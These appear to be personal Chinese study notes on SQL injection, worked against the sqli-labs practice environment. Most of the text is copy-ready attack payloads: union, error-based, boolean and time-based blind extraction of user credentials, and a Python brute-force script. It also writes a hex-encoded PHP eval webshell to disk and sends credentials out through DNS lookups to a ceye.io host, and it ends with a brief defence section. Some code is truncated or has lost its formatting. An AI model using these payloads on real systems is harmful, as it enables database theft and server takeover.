web程序未对用户输入的数据进行严格的检查和过滤就拼接到后台的sql语句中执行,从而被黑客利用进行数据库的增删查改或写入webshell。
根据数据类型分为:数字型、字符型、搜索型。
根据提交方式分为:get型 post型 cookie,http头(User-agent、referer、xff注入)
依据获取信息的方式分为:联合查询注入,报错注入,基于布尔盲注、基于时间盲注、堆查询注入。
登录页面,留言板,修改信息,获取http请求头(User-agent,referer,xff)等只要是和数据库存在交互的功能点都有可能存在。
可以用工具扫描 awvs xray appscan等。但大部分网站都有waf,需要手注测试。
1.在参数后边加 ', ", ), )), '),')), "),")), %,%),%))等等尝试进行闭合 看是否会报错。报错就一定存在sql注入。
2.在参数后边加 and 1=1,and 1=2, or 1=1,or 1=2, Xor 1=1, Xor 1=2, ^ 1=1, ^ 1=2 =也可以替换为like 如果显示不一样也存在sql注入漏洞。
3,还有时间检测, 有时候页面可能没有变化 mysql可以尝试 sleep(5) benchmark(10000000,md(5)), sqlserver使用 wait delay '0:0:5' ,PostgreSQL尝试 PG_sleep(5),Generate_series(1,1000000)尝试。 通过页面响应时间 判断是否存在sql注入。
适用于页面存在显示列的注入。
以sqllib1为例。
(1)判断注入点
payload:http://localhost/www.sql.com/Less-1/?id=1' and 1=1 --+
payload: http://localhost/www.sql.com/Less-1/?id=1' and 1=2 --+
根据页面回显不同判断出 id参数存在sql注入。
(2)判断当前表列数 order by
payload:http://localhost/www.sql.com/Less-1/?id=1' order by 3 --+
order by 后边采用二分法 例如 order by 10 显示错误, 5 错误 2 正常 3正常 4 错误,判断出 存在3列。
(3)判断回显位置 union select 需将参数后边值设为不存在的 例如-1,或者 99999,因为 一般存在 limit 0,1只返回一组数据。
payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,2,3 --+
(4)爆破库名 版本 数据库用户 在存在会显得位置上 修改即可
payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,database(),3 --+
version() @@datadir 数据库路径 current_user() 等等
(5) 爆破表名
payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
(6)爆破字段名 列名
payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
(7)爆破 字段值
payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+
(8)写文件 ****into outfile**** ****into dumpfile** **
payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,"",3 into outfile "F:\\phpstudy_pro\\www\\ma\\8.php" --+
也可以写入16进制马
payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,0x3c3f70687020406576616c28245f504f53545b636d645d293b203f3e,3 into dumpfile "F:\\phpstudy_pro\\www\\ma\\9.php" --+
应用场景:查询不回显内容,会打印错误信息 print_r(mysql_error()); update、insert等语句,会打印错误信息
用到的函数 updatexml() extractvalue() floor() count() rand() group by
floor() select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)); group by 对 rand() 函数进行操作时产生错误
extractvalue() extractvalue(1,concat(0x7e,(select user()),0x7e)); XPATH语法错误产生报错
updatexml() select updatexml(1,concat(0x7e,(select user())),1) ; XPATH语法错误产生报错
以updatexml()为例
1.爆表 修改 limit 0,1 参数 依次爆出所有表名
http://localhost/www.sql.com/Less-1/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+
2.爆字段名
http://localhost/www.sql.com/Less-1/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1) --+
3.爆字段值
http://localhost/www.sql.com/Less-1/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+
4.爆对应的密码
http://localhost/www.sql.com/Less-1/?id=1' and updatexml(1,concat(0x7e,(select password from users where username = 'Dumb' limit 0,1),0x7e),1) --+
5.如果对返回长度限制在32位字符 可以使用substr((查询语句),1,10) 分段爆破
http://localhost/www.sql.com/Less-1/?id=1' and updatexml(1,concat(0x7e,(select substr(username,1,10) from users limit 0,1),0x7e),1) --+
其余报错函数同理
应用场景:代码存在sql注入漏洞,然而页面不会显数据,也不会显错误信息。只返回"right" 与wrong
这里我们可以通过构造语句,来判断数据库信息的正确性,在通过页面的“真”和“假”来识别我们的判断是否正确,这就是布尔盲注。
布尔盲注函数:
left() left(database(),1)>'s' database()显示数据库名称,left(a,b)从左侧截取a的前b位。
regexp select user() regexp '^r' 正则表达式用法 user()结果为root,regexp为匹配root的正则表达式
like select users() like ''ro%' 与regexp类似,使用like进行匹配
substr函数 ascii() 函数 ascii(substr(select database()),1,1)=98 从1位置开始截取数据库名字的1个长度,ascii()将字符转化为ascii值。
ord() mid() mid(a,b,c)
ord(mid((select user()),1,1))=114
从位置b开始,截取a字符串的c位,ord()函数通ascii(),将字符转为ascii值。
例如:less-8
(1) 判断闭合 1' and '1'='1 单引号闭合
http://localhost/www.sql.com/Less-8/?id=1 ' and '1'='1
(2) 判断数据库 mysql 特有表 information_schema.tables schema columns
mssql特有表 sysobjects
access特有表 msysobjects
orcale 特有表 dual
通过exists()函数 count(*) 函数 再加特有表判断为什么数据库
http://localhost/www.sql.com/Less-8/?id=1 ' and exists(select * from information_schema.tables) --+
其余数据库同理
或者用
http://localhost/www.sql.com/Less-8/?id=1 ' and (select count(*) from information_schema.tables)>0 --+
(3)判断库名方法:
1.先用length()判断库名长度
先用length(database())>5 <10 >7 >8 =8 二分法猜解
http://localhost/www.sql.com/Less-8/?id=1 ' and length(database())=8 --+
2.判断数据库名字一位一位判断
可用函数 left regexp like ascii(substr) ord(mid())
left(sql,1)
left(database(),1)='s'
left(database(),8)='security' 根据回显是否正常挨个判断
http://localhost/www.sql.com/Less-8/?id=1 ' and left(database(),8)='security' -- +
regexp
select database() regexp '^s';
select database() regexp '^security';
http://localhost/www.sql.com/Less-8/?id=1 ' and database() regexp '^security'; --+
like
select database() like 'se%';
select database() like 'security%';
substr(sql,1,1) ascii()
ascii(substr((select database()),1,1))=114
ord() 类似 ascii mid 类似 substr
ord(mid((select database()),1,1))=114;
(4)判断表名
1.可暴力猜解表名 用exists() 和count()
exists(select * from users)
(select count(*) from users) >0
http://localhost/www.sql.com/Less-8/?id=1 ' and and exists(select * from users) --+
http://localhost/www.sql.com/Less-8/?id=1 ' and (select count(*) from users) >0 --+
2.先判断长度 length 在猜解第一个表第一个字段 第一个表第二个字段 依次猜解
判断长度
http://localhost/www.sql.com/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
判断第一位字段 lef((sql),1)='a'
http://localhost/www.sql.com/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' --+
判断第二位字段 ascii(substr((sql),2,1))
http://localhost/www.sql.com/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+
判断第三位字段 同二 ord(mid((sql),2,1))
http://localhost/www.sql.com/Less-8/?id=1' and ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97 --+
(5)判断字段名
假设已经爆破出users表
1.可以用exists() 或者 count() 爆破 字段名
http://localhost/www.sql.com/Less-8/?id=1' and exists(select username from users) --+
或者
http://localhost/www.sql.com/Less-8/?id=1' and (select count(password) from users)>0--+
暴力猜解字段名
2.同上测表方法 先爆破表长度 再挨个破解
(6)爆破字段值
例如 知道 上述 users表 有id username password 字段
1.先爆破每个字段值长度
http://localhost/www.sql.com/Less-8/?id=1' and length((select username from users limit 0,1))>5 --+ >10 <10 >7 >8 =8 二分法 测试
2.再逐个爆破每个字段每位的内容
http://localhost/www.sql.com/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+
...逐个测试
应用场景:代码存在sql注入漏洞,然而页面既不会显数据,也不会显错误信息。语句执行后也不提示真假,我们不能通过页面的内容进行判断。这里我们可以通过添加语句,通过页面响应的时长,来判断信息,这既是时间盲注。
使用函数 if((sql),sleep(5),1) if((sql),benchmark(30000000,md5(1),1)
注入流程:
1.寻找注入点 当参数无论输入什么值,页面都不提示真假后。尝试 id=1' and sleep(5) --+ id=1') and sleep(5) --+ id=1')) and sleep(5) --+ id=1" and sleep(5) --+ 等等 fuzz测试,如果存在页面响应超时 即存在sql注入漏洞。
2.使用方法将布尔盲注用到的函数加入到(sql) 中即可
简单的时间盲注脚本
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/www.sql.com/Less-10/?id=1'
database = 'select schema_name from information_schema.schemata'
table = 'select table_name from information_schema.tables where table_schema=database()'
column = 'select column_name from information_schema.columns where table_name = "采用爆破到的表名0x开头16进制(去掉双引号)"'
result = ''
for i in range(1,30):
for j in range(48,122):
payload = ' and if(ascii(substr({} limit 0,1,{},1))={},sleep(5),1) --+' .format(database,i,j)
stime = time.time()
r = requests.get(url+payload)
#print(r.status_code)
etime = time.time()
if etime-stime >=5:
result += chr(j)
print(result)
print(r.status_code)
break
原理介绍:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在;结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union或者unionall执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
局限性:
使用该注入,需要知道数据库的一些信息,例如表名,列名等。
并不是每种环境都可以使用。
oracle数据库不行,mysql、mssql‘postgresql可以。
应用实例:已经爆破出管理员密码,但是是加密存储,且无法解密。可以使用堆叠注入,在该表中注入
原文链接:https://blog.csdn.net/a15803617402/article/details/82939202
1.json简介:JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 "application/json"。
2.json语法
数据在名称/值对中
数据由逗号分隔
大括号保存对象
中括号保存数组
3.json值
JSON 值可以是:
数字(整数或浮点数) {"age":30 }
字符串(在双引号中) {"uname":"yang"}
逻辑值(true 或 false) {"flag":true }
数组(在中括号中){"sites":[{"name":"yang"},{"name":"ming"}]}
对象(在大括号中)JSON 对象在大括号({})中书写:
null { "runoob":null }
4.Json-demo:
{
"users": {
"user": [
{
"id": "1",
"username": "admin",
"passwd": "admin888"
},
{
"id": "2",
"username": "root",
"passwd": "root123"
},
{
"id": "3",
"username": "system",
"passwd": "system456"
}
]
}
}
json注入代码
test.php
username;
//$passwd=$json->passwd;
$mysqli=new mysqli();
$mysqli->connect('localhost','root','654321');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
$mysqli->select_db('study');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
$mysqli->set_charset('utf-8');
$sql="SELECT username,passwd FROM user WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['passwd']}";
}
$result->free();
$mysqli->close();
}
?>
json注入和SQL注入一样,插入注入语句。但要注意一点是对影响json语句的要进行转义,如双引号、花括号等。
post 提交数据 值加' json={"username":"admin'"}
返回报错信息
and
json={"username":"admin' and '1'='1 "}
json={"username":"123 ' union select 1,database() -- "}
原理
分为两步:
第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行转义,在写入数据库时还是保留用户输入的数据,但是该数据中包含恶意内容。
第二步:引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
例如:
输入参数1' 参数经过转义函数变为1\' 参数进入数据库存储还原为1'
寻找另一处引用这个数据的操作
将1'从数据库中取出 取出后直接给变量并且带入SQL SQL注入触发
实战 sql-lib 24
1.在创建用户界面 创建 admin'# 123 账号
2.登录 admin '# 123 账号 修改admin'#密码为 123456
3.发现 admin 密码变为123456
应用场景:
目标程序使用双/多字节字符进行解析。
可以从响应头Contye-type查看,如果是text/html;charset=gbk 可以尝试使用。
什么是宽字节?
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际为两字节。
防御:将' 转换为 \'
绕过:将\消灭
方法:在注入点后键入%df,然后按照正常的注入流程开始注入
输入 '
处理 \'
编码 %5c%27 \'
带入sql id=1\] and 不能注入
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字
输入 %df'
处理为%df\'
编码为 %df%5c%27
带入sql id=均' and 可以注入
黑盒测试
在可能的注入点后键入%df,之后进行注入测试。
白盒测试
1、查看MySql的编码是否为GBK。
2、是否使用preg_replace把单引号体会换成\'
3、是否使用addslashes进行转义
4、是否使用mysql_real_escape_string进行转义
防御
1、使用utf-8 避免宽字节注入;ps 不仅在gbk,韩文,日文等等都是宽字节,都有可能存在宽字节注入漏洞。
2、mysql_real_escape_string,mysql_set_charset('gbk',$conn);
3、可以设置参数,character_set_client=binary 使用二进制的模式连接数据库$result=mysql_query("character_set_client=binary"$sql);
应用场景:
代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息我通过布尔或者时间盲注都可以获取到内容,但是整个过程效率低,需要发送很多的请求进判断,很可能会触发安全设备的防护。我们需要一种方式,减少请求,直接回显数据,这里可以使用dnslog注入。
dnslog平台: http://ceye.io/
DNSlog 盲注方法
构造语句,利用load_file() 函数发起请求,使用dnslog接受请求,获取数据
核心语法:
select load_file(concat('\\\\',(select database()),'.mysql.xxx.ceye.io\\abc'));
select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.mysql.xxx.ceye.io\\abc'));
实战场景 : sqllib less-10 时间盲注 使用
爆字段
http://localhost/www.sql.com/Less-10/?id=1" and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 1,1),'.mysql.0e6xsd.ceye.io\\abc')) --+
爆字段值
http://localhost/www.sql.com/Less-10/?id=1" and load_file(concat('\\\\',(select concat(username,'abc',password) from users limit 3,1),'.mysql.0e6xsd.ceye.io\\abc')) --+
http://localhost/www.sql.com/Less-10/?id=1" and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 3,1),'.mysql.0e6xsd.ceye.io\\abc')) --+
hex值去hackbar解码即可
条件:
(1)数据库当前用户为root或者拥有file权限。
(2)知道网站的绝对路径。
(3)php的gpc参数为off。
(4)mysql的secure_file_priv不为null。
https://blog.csdn.net/YouthBelief/article/details/120741188
(1)使用预编译语句,使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑
(2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。
(3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
(4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
(5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
(7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
(8)过滤危险字符,例如:采用正则表达式匹配union、sleep、and、select、load_file等关键字,如果匹配到则终止运行。
自己随便记录笔记。